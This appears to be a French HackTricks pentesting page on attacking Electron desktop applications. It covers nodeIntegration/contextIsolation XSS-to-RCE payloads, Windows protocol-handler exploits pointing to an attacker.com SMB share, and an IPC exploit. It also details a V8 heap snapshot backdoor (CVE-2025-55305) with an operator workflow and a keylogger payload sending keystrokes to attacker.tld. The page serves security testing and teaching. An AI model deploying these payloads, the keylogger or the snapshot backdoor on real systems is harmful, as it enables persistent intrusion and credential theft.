Applications de bureau Electron

Reading time: 23 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Electron combine un backend local (avec NodeJS) et un frontend (Chromium), bien qu'il lui manque certains des mécanismes de sécurité des navigateurs modernes.

Vous trouverez généralement le code de l'application Electron à l'intérieur d'un fichier .asar ; pour obtenir le code, vous devez l'extraire :

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Dans le code source d'une application Electron, Ă  l'intĂ©rieur de packet.json, vous pouvez trouver spĂ©cifiĂ© le fichier main.js oĂč sont dĂ©finies les configurations de sĂ©curitĂ©.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron possĂšde 2 types de processus :

  • Processus principal (a un accĂšs complet Ă  NodeJS)
  • Processus de rendu (devrait avoir un accĂšs restreint Ă  NodeJS pour des raisons de sĂ©curitĂ©)

Un processus de rendu sera une fenĂȘtre de navigateur chargeant un fichier :

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Les paramĂštres du renderer process peuvent ĂȘtre configurĂ©s dans le main process Ă  l'intĂ©rieur du fichier main.js. Certaines configurations permettront d'empĂȘcher l'application Electron d'obtenir une RCE ou d'autres vulnĂ©rabilitĂ©s si les paramĂštres sont correctement configurĂ©s.

L'application Electron pourrait accĂ©der Ă  l'appareil via Node apis bien qu'elle puisse ĂȘtre configurĂ©e pour l'en empĂȘcher :

  • nodeIntegration - est off par dĂ©faut. Si on, permet d'accĂ©der aux fonctionnalitĂ©s de Node depuis le renderer process.
  • contextIsolation - est on par dĂ©faut. Si off, main and renderer processes ne sont pas isolĂ©s.
  • preload - vide par dĂ©faut.
  • sandbox - est off par dĂ©faut. Il restreindra les actions que NodeJS peut effectuer.
  • Node Integration in Workers
  • nodeIntegrationInSubframes- est off par dĂ©faut.
  • Si nodeIntegration est activĂ©, cela permettrait l'utilisation des Node.js APIs dans des pages web chargĂ©es dans des iframes au sein d'une application Electron.
  • Si nodeIntegration est dĂ©sactivĂ©, alors les preloads se chargeront dans l'iframe

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Quelques RCE payloads de here:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capturer le trafic

Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Consultez comment dans :

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Si la nodeIntegration est réglée sur on, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant require(). Par exemple, la maniÚre d'exécuter l'application calc sous Windows est :

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Le script indiqué dans ce paramÚtre est chargé avant les autres scripts dans le renderer, donc il a un accÚs illimité aux Node APIs :

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Par conséquent, le script peut exporter node-features vers des pages :

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Si contextIsolation est activé, cela ne fonctionnera pas

RCE: XSS + contextIsolation

Le contextIsolation introduit des contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.

Si les contextes ne sont pas isolés, un attaquant peut :

  1. Exécuter arbitrary JavaScript in renderer (XSS ou navigation vers des sites externes)
  2. Remplacer la méthode intégrée utilisée dans le preload ou dans le code interne d'Electron pour en prendre le contrÎle
  3. Déclencher l'utilisation de la fonction écrasée
  4. RCE?

Il y a 2 endroits oĂč les mĂ©thodes intĂ©grĂ©es peuvent ĂȘtre Ă©crasĂ©es : dans le code preload ou dans le code interne d'Electron :

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Contourner l'événement de clic

Si des restrictions sont appliquĂ©es lorsque vous cliquez sur un lien, vous pouvez peut-ĂȘtre les contourner en effectuant un clic du milieu au lieu d'un clic gauche classique.

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/

Lors du dĂ©ploiement d'une application de bureau Electron, s'assurer que les paramĂštres nodeIntegration et contextIsolation sont correctement configurĂ©s est crucial. Il est Ă©tabli que client-side remote code execution (RCE) ciblant les preload scripts ou le code natif d'Electron depuis le processus principal est efficacement empĂȘchĂ© lorsque ces paramĂštres sont en place.

Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenĂȘtres, des Ă©couteurs d'Ă©vĂ©nements spĂ©cifiques sont dĂ©clenchĂ©s, et ils sont cruciaux pour la sĂ©curitĂ© et le fonctionnement de l'application :

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ces listeners sont surchargĂ©s par l'application de bureau pour implĂ©menter leur propre logique mĂ©tier. L'application Ă©value si un lien naviguĂ© doit ĂȘtre ouvert en interne ou dans un navigateur web externe. Cette dĂ©cision est gĂ©nĂ©ralement prise via une fonction, openInternally. Si cette fonction retourne false, cela indique que le lien doit ĂȘtre ouvert en externe, en utilisant la fonction shell.openExternal.

Voici un pseudo-code simplifié :

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS security best practices déconseillent d'accepter du contenu non fiable avec la fonction openExternal, car cela pourrait conduire à une RCE via divers protocoles. Les systÚmes d'exploitation prennent en charge différents protocoles pouvant déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à this resource, qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.

Sous macos, la fonction openExternal peut ĂȘtre exploitĂ©e pour exĂ©cuter des commandes arbitraires, par exemple shell.openExternal('file:///System/Applications/Calculator.app').

Exemples d'exploits de protocoles Windows :

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Cette vulnérabilité est décrite dans this report.

La webviewTag est une fonctionnalitĂ© dĂ©prĂ©ciĂ©e qui permet l'utilisation de NodeJS dans le renderer process, elle devrait ĂȘtre dĂ©sactivĂ©e car elle permet de charger un script dans le preload context comme :

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Ainsi, un attaquant qui parvient Ă  charger une page arbitraire pourrait utiliser cette balise pour charger un preload script arbitraire.

Ce preload script a ensuite été exploité pour appeler un service IPC vulnérable (skype-new-window) qui appelait shell.openExternal pour obtenir RCE :

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Lecture de fichiers internes : XSS + contextIsolation

Désactiver contextIsolation permet l'utilisation de balises <webview>, similaires à <iframe>, pour lire et exfiltrating des fichiers locaux. Un exemple montre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :

De plus, une autre méthode pour lire un fichier interne est présentée, mettant en évidence une vulnérabilité critique de lecture de fichiers locaux dans une Electron desktop app. Cela implique l'injection d'un script pour exploiter l'application et exfiltrate data :

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Chromium ancien

Si le chromium utilisĂ© par l'application est ancien et qu'il existe des known vulnerabilities dessus, il pourrait ĂȘtre possible de exploit it and obtain RCE through a XSS.
Vous pouvez voir un exemple dans ce writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Internal URL regex bypass

Supposons que vous ayez trouvĂ© un XSS mais que vous cannot trigger RCE or steal internal files — vous pourriez essayer de l'utiliser pour steal credentials via phishing.

Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS cÎté front-end :

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

L'appel à openInternally décidera si le link sera ouvert dans la desktop window puisqu'il s'agit d'un link appartenant à la plateforme, ou s'il sera ouvert dans le browser en tant que ressource tierce.

Dans le cas oĂč le regex utilisĂ© par la fonction est vulnerable to bypasses (par exemple en ne rĂ©alisant pas l'Ă©chappement des points des subdomains) un attacker pourrait abuser du XSS pour ouvrir une nouvelle fenĂȘtre qui sera situĂ©e dans l'infrastructure de l'attacker demandant des credentials Ă  l'utilisateur:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocole

As mentioned in the docs pages running on file:// ont un accĂšs unilatĂ©ral Ă  tous les fichiers de votre machine, ce qui signifie que XSS issues can be used to load arbitrary files depuis la machine de l'utilisateur. L'utilisation d'un protocole personnalisĂ© empĂȘche ce type de problĂšme car vous pouvez limiter le protocole Ă  ne servir qu'un ensemble spĂ©cifique de fichiers.

Remote module

The Electron Remote module permet aux renderer processes to access main process APIs, facilitant la communication au sein d'une application Electron. Cependant, activer ce module introduit des risques de sécurité importants. Il augmente la surface d'attaque de l'application, la rendant plus susceptible à des vulnérabilités telles que cross-site scripting (XSS) attacks.

tip

Although the remote module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.

warning

Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.

To enable it, it'd first needed to enable it in the main process:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Ensuite, le processus renderer peut importer des objets depuis le module comme ceci :

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

Le blog post indique quelques fonctions intéressantes exposées par l'objet app du module remote :

  • app.relaunch([options])
  • RedĂ©marre l'application en quittant l'instance actuelle et en lançant une nouvelle. Utile pour les mises Ă  jour de l'application ou des changements d'Ă©tat importants.
  • app.setAppLogsPath([path])
  • DĂ©finit ou crĂ©e un rĂ©pertoire pour stocker les logs de l'application. Les logs peuvent ĂȘtre rĂ©cupĂ©rĂ©s ou modifiĂ©s en utilisant app.getPath() ou app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Enregistre l'exĂ©cutable courant comme le gestionnaire par dĂ©faut pour un protocole spĂ©cifiĂ©. Vous pouvez fournir un chemin personnalisĂ© et des arguments si nĂ©cessaire.
  • app.setUserTasks(tasks)
  • Ajoute des tĂąches Ă  la catĂ©gorie Tasks dans la Jump List (sous Windows). Chaque tĂąche peut contrĂŽler la façon dont l'app est lancĂ©e ou quels arguments sont passĂ©s.
  • app.importCertificate(options, callback)
  • Importe un certificat PKCS#12 dans le magasin de certificats du systĂšme (Linux uniquement). Un callback peut ĂȘtre utilisĂ© pour traiter le rĂ©sultat.
  • app.moveToApplicationsFolder([options])
  • DĂ©place l'application vers le dossier Applications (sur macOS). Aide Ă  garantir une installation standard pour les utilisateurs Mac.
  • app.setJumpList(categories)
  • DĂ©finit ou supprime une Jump List personnalisĂ©e sur Windows. Vous pouvez prĂ©ciser des catĂ©gories pour organiser l'affichage des tĂąches Ă  l'utilisateur.
  • app.setLoginItemSettings(settings)
  • Configure quels exĂ©cutables se lancent au login, ainsi que leurs options (macOS et Windows uniquement).

Example:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

L'API principale pour accéder aux préférences systÚme et émettre des événements systÚme dans Electron. Des méthodes comme subscribeNotification, subscribeWorkspaceNotification, getUserDefault, et setUserDefault font toutes partie de ce module.

Exemple d'utilisation:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Écoute les notifications macOS natives en utilisant NSDistributedNotificationCenter.
  • Avant macOS Catalina, vous pouviez sniff toutes les notifications distribuĂ©es en passant nil Ă  CFNotificationCenterAddObserver.
  • AprĂšs Catalina / Big Sur, les sandboxed apps peuvent encore s'abonner Ă  beaucoup d'Ă©vĂ©nements (par exemple, verrouillage/dĂ©verrouillage d'Ă©cran, montages de volumes, activitĂ© rĂ©seau, etc.) en enregistrant les notifications par nom.

getUserDefault / setUserDefault

  • Interagit avec NSUserDefaults, qui stocke les prĂ©fĂ©rences application ou globales sur macOS.

  • getUserDefault peut rĂ©cupĂ©rer des informations sensibles, comme emplacements rĂ©cents de fichiers ou la localisation gĂ©ographique de l'utilisateur.

  • setUserDefault peut modifier ces prĂ©fĂ©rences, affectant potentiellement la configuration d'une app.

  • Dans les anciennes versions d'Electron (avant v8.3.0), seule la suite standard de NSUserDefaults Ă©tait accessible.

Shell.showItemInFolder

Cette fonction montre le fichier donné dans un gestionnaire de fichiers, qui pourrait exécuter automatiquement le fichier.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Les apps Electron devraient avoir une Content Security Policy (CSP) pour prĂ©venir les attaques XSS. La CSP est un standard de sĂ©curitĂ© qui aide Ă  empĂȘcher l'exĂ©cution de code non fiable dans le navigateur.

Elle est généralement configurée dans le fichier main.js ou dans le template index.html avec la CSP à l'intérieur d'une meta tag.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

Cette chaĂźne rĂ©elle a affectĂ© Visual Studio Code 1.63 (CVE-2021-43908) et dĂ©montre comment un unique XSS pilotĂ© par Markdown dans un webview peut ĂȘtre escaladĂ© en RCE complĂšte lorsque CSP, postMessage et les scheme handlers sont mal configurĂ©s. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Aperçu de la chaßne d'attaque

  • First XSS via webview CSP: The generated CSP included style-src 'self' 'unsafe-inline', allowing inline/style-based injection in a vscode-webview:// context. The payload beaconed to /stealID to exfiltrate the target webview’s extensionId.
  • Construction de l'URL du webview cible : en utilisant l'ID leaked pour construire vscode-webview://<extensionId>/.../<publicUrl>.
  • Second XSS via postMessage trust: The outer webview trusted window.postMessage without strict origin/type checks and loaded attacker HTML with allowScripts: true.
  • Local file loading via scheme/path rewriting: The payload rewrote file:///... to vscode-file://vscode-app/... and swapped exploit.md for RCE.html, abusing weak path validation to load a privileged local resource.
  • RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.

Example RCE primitive in the final context

js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

Lecture complémentaire sur les problÚmes de confiance liés à postMessage :

PostMessage Vulnerabilities

Outils

  • Electronegativity est un outil permettant d'identifier les mauvaises configurations et les anti-patterns de sĂ©curitĂ© dans les applications basĂ©es sur Electron.
  • Electrolint est une extension open source pour VS Code dĂ©diĂ©e aux applications Electron qui utilise Electronegativity.
  • nodejsscan pour dĂ©tecter les bibliothĂšques tierces vulnĂ©rables
  • Electro.ng: Vous devez l'acheter

Laboratoires

Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s vous trouverez un lab pour exploiter des applications Electron vulnérables.

Quelques commandes qui vous aideront avec le lab :

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Porte dĂ©robĂ©e locale via la falsification de V8 heap snapshot (Electron/Chromium) – CVE-2025-55305

Electron et les applications basées sur Chromium désérialisent un V8 heap snapshot préconstruit au démarrage (v8_context_snapshot.bin, et optionnellement browser_v8_context_snapshot.bin) pour initialiser chaque V8 isolate (main, preload, renderer). Historiquement, les fuses d'intégrité d'Electron ne traitaient pas ces snapshots comme du contenu exécutable, ils échappaient donc à la fois à l'application des fuses d'intégrité et aux vérifications de code-signing du systÚme d'exploitation. En conséquence, remplacer le snapshot dans une installation modifiable par l'utilisateur permettait une exécution de code furtive et persistante à l'intérieur de l'app sans modifier les binaires signés ni l'ASAR.

Points clés

  • Faille d'intĂ©gritĂ© : EnableEmbeddedAsarIntegrityValidation et OnlyLoadAppFromAsar valident le JavaScript de l'app Ă  l'intĂ©rieur de l'ASAR, mais ne couvraient pas les V8 heap snapshots (CVE-2025-55305). De mĂȘme, Chromium ne vĂ©rifie pas l'intĂ©gritĂ© des snapshots.
  • PrĂ©conditions de l'attaque : Ă©criture locale de fichiers dans le rĂ©pertoire d'installation de l'application. Ceci est courant sur les systĂšmes oĂč les apps Electron ou navigateurs Chromium sont installĂ©s dans des chemins modifiables par l'utilisateur (ex. %AppData%\Local sous Windows ; /Applications avec des rĂ©serves sur macOS).
  • Effet : exĂ©cution fiable de JavaScript contrĂŽlĂ© par l'attaquant dans n'importe quel isolate en Ă©crasant un builtin frĂ©quemment utilisĂ© (un « gadget »), permettant persistance et contournement de la vĂ©rification de code-signing.
  • Surface affectĂ©e : applications Electron (mĂȘme avec les fuses activĂ©s) et navigateurs basĂ©s sur Chromium qui chargent des snapshots depuis des emplacements modifiables par l'utilisateur.

Générer un snapshot malveillant sans builder Chromium

  • Utilisez le prebuilt electron/mksnapshot pour compiler un payload JS en snapshot et Ă©craser le v8_context_snapshot.bin de l'application.

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (exécuter du code différent dans main vs. renderer)

  • DĂ©tection du main process : les Node-only globals comme process.pid, process.binding(), ou process.dlopen sont prĂ©sents dans l'isolate du main process.
  • DĂ©tection Browser/renderer : les Browser-only globals comme alert sont disponibles lorsqu'on s'exĂ©cute dans un contexte de document.

Exemple de gadget qui sonde une fois les capacités Node du main process

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

PoC de vol de données depuis le renderer/contexte du navigateur (p. ex., Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Flux de travail de l'opérateur

  1. Écrire payload.js qui Ă©crase une fonction native courante (par ex., Array.isArray) et, optionnellement, effectue des branches par isolate.
  2. Construire le snapshot sans les sources de Chromium :
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. Remplacer le(s) fichier(s) snapshot de l'application cible :
  • v8_context_snapshot.bin (toujours utilisĂ©)
  • browser_v8_context_snapshot.bin (si le fuse LoadBrowserProcessSpecificV8Snapshot est utilisĂ©)
  1. Lancer l'application ; le gadget s’exĂ©cute chaque fois que la fonction native choisie est utilisĂ©e.

Notes et considérations

  • Contournement d'intĂ©gritĂ©/signature : les fichiers snapshot ne sont pas considĂ©rĂ©s comme des exĂ©cutables natifs par les vĂ©rifications de signature de code et (historiquement) n'Ă©taient pas couverts par Electron’s fuses ni par les contrĂŽles d'intĂ©gritĂ© de Chromium.
  • Persistance : remplacer le snapshot dans une installation modifiable par l'utilisateur survit gĂ©nĂ©ralement aux redĂ©marrages de l'application et ressemble Ă  une application signĂ©e et lĂ©gitime.
  • Navigateurs Chromium : le mĂȘme concept de falsification s'applique Ă  Chrome/derivĂ©s installĂ©s dans des emplacements modifiables par l'utilisateur. Chrome dispose d'autres mesures d'intĂ©gritĂ© mais exclut explicitement les attaques physiques locales de son modĂšle de menace.

Détection et mesures d'atténuation

  • Traiter les snapshots comme du contenu exĂ©cutable et les inclure dans l'application des contrĂŽles d'intĂ©gritĂ© (fix CVE-2025-55305).
  • PrĂ©fĂ©rer des emplacements d'installation accessibles en Ă©criture uniquement par l'administrateur ; Ă©tablir une ligne de base et surveiller les hachages pour v8_context_snapshot.bin et browser_v8_context_snapshot.bin.
  • DĂ©tecter l'Ă©crasement de fonctions natives en dĂ©but d'exĂ©cution et les modifications inattendues de snapshots ; alerter lorsque les snapshots dĂ©sĂ©rialisĂ©s ne correspondent pas aux valeurs attendues.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks